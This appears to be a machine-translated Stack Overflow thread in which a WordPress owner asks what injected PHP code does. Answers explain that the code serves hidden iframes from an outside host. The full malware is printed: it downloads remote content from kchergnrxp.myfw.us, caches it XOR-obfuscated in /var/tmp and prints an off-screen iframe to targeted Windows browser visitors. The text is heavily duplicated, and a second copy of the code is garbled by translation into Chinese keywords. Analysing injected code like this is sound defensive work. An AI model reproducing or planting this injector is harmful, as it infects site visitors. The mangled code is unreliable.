Php 这段代码在做什么?eval(gzflate)(base64_解码黑客
有人能解释一下这段代码到底在做什么吗?似乎有黑客通过wordpress安装将这段代码添加到了我的每个php文件中。我知道它正在打开一个连接并从该url下载一个文件。还有别的吗Php 这段代码在做什么?eval(gzflate)(base64_解码黑客,php,file,external,Php,File,External,有人能解释一下这段代码到底在做什么吗?似乎有黑客通过wordpress安装将这段代码添加到了我的每个php文件中。我知道它正在打开一个连接并从该url下载一个文件。还有别的吗 if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url);
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame
$codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
if (!$codelink){
return $defframe;
}
$dr='/var/tmp';
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl($codelink);
if ($dlc){
if ($fp = @fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
}
if(!defined('frmDs')){
定义(“frmDs”,1);
函数frm_dl($url){
if(函数_存在('curl_init')){
$ch=curl\u init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$out=curl\u exec($ch);
如果(curl_errno($ch)!=0)$out=false;
卷曲关闭($ch);
}else{$out=file_get_contents($url);}
返回修剪($);
}
功能frm\U crpt($in){
$il=strlen($in);$o='';
对于($i=0;$i<$il;$i++)$o.=$in[$i]^'*';
退还$o;
}
函数frm_getfrm()
{
$defframe='.blqrgw{位置:绝对;左:-1117px;顶:-1046px;}';//默认帧
$codelink=http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
如果(!$codelink){
返回$defframe;
}
$dr='/var/tmp';
$f=$dr./sess.'.md5('frm_框架');
如果(!file_存在($f)| time()-filemtime($f)>60*5)
{
$dlc=frm_dl($codelink);
如果($dlc){
如果($fp=@fopen($f,'w')){
编写($fp,frm_crpt($dlc));
fclose($fp);
}
其他的
返回$dlc;
}
其他的
@取消链接(f美元);
}
$fc=@file\u get\u contents($f);
返回($fc)?frm_crpt($fc):$defframe;
}
$ua=$\服务器['HTTP\用户\代理'];
if(preg_-match(“/Windows/”,$ua)和&preg_-match(“/MSIE | Opera/”,$ua)){
错误报告(0);
如果(!isset($_COOKIE[''''.\u utmfr'])&&&$nfc=frm\u getfrm()){
@setcookie(“'uuuUtmfr',兰德(11000),时间()+86400*7'/”);
印刷(nfc);
}
}
}
如果frmDs变量存在,我认为这样做可以防止脚本执行两次(如果您两次定义相同的函数,则会出现错误)
在函数定义之后,执行的第一个代码块是
$ua=$\服务器['HTTP\用户\代理'];
if(preg_-match(“/Windows/”,$ua)和&preg_-match(“/MSIE | Opera/”,$ua)){
错误报告(0)
在上面的代码块中,它检查用户是否具有cookie u utmfr,如果没有,则设置该值,并将frm_getfrm()的结果打印到web输出
换句话说,如果用户是第一次访问该站点,他会在HTML页面的开头得到frm_getfrm()的结果
函数frm_getfrm()非常复杂,但在一天结束时,它会尝试返回一个隐藏的IFRAME,其中包含来自外部网站的内容,以防宿主服务器无法连接到外部服务器。
如果您的服务器可以连接到外部服务器,脚本将使用PHP内置函数下载并返回的内容
如果frmDs变量存在,我认为这样做可以防止脚本执行两次(如果您两次定义相同的函数,则会出现错误)
在函数定义之后,执行的第一个代码块是
$ua=$\服务器['HTTP\用户\代理'];
if(preg_-match(“/Windows/”,$ua)和&preg_-match(“/MSIE | Opera/”,$ua)){
错误报告(0)
在上面的代码块中,它检查用户是否具有cookie u utmfr,如果没有,则设置该值,并将frm_getfrm()的结果打印到web输出
换句话说,如果用户是第一次访问该站点,他会在HTML页面的开头得到frm_getfrm()的结果
函数frm_getfrm()非常复杂,但在一天结束时,它会尝试返回一个隐藏的IFRAME,其中包含来自外部网站的内容,以防宿主服务器无法连接到外部服务器。
如果您的服务器可以连接到外部服务器,脚本将使用PHP内置函数下载并返回其内容。这种垃圾总是会安装一个“远程外壳”,以便有人可以在您的服务器上执行任意命令。您已经被黑客攻击,您需要做大量清理工作,包括保护您的网站。“还有别的吗?"-这怎么会是一个具体的编程问题?@M8R-1jmw5r:不是。这就是为什么它会被关闭的原因。这是一个接管世界的代码-当饼干极限达到临界值时,卡繁荣!!!一个新的冰河时代将覆盖地球,幸存下来的人将生活在一个失落的文明的废墟中,记住黄金时代的温暖@MarcB:我希望我没有留下任何标志来引起版主的注意。这种垃圾总是会安装一个“远程外壳”,以便有人可以在你的服务器上执行任意命令。你被黑客攻击了,你有很多清理工作要做,包括保护你的网站。“还有别的吗?”-这怎么会是一个具体的编程问题?@M8R-1jmw5r:不是。这就是为什么它会被关闭的原因。这是一个接管世界的代码-当饼干极限达到临界值时,卡繁荣!!!一个新的冰河时代将覆盖地球,幸存下来的人将生活在一个失落的文明的废墟中,记住黄金时代的温暖@马尔克:我希望这样我就不会留下任何旗帜来引起主持人的注意。
if (!defined('frmDs')){
define('frmDs' ,1);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}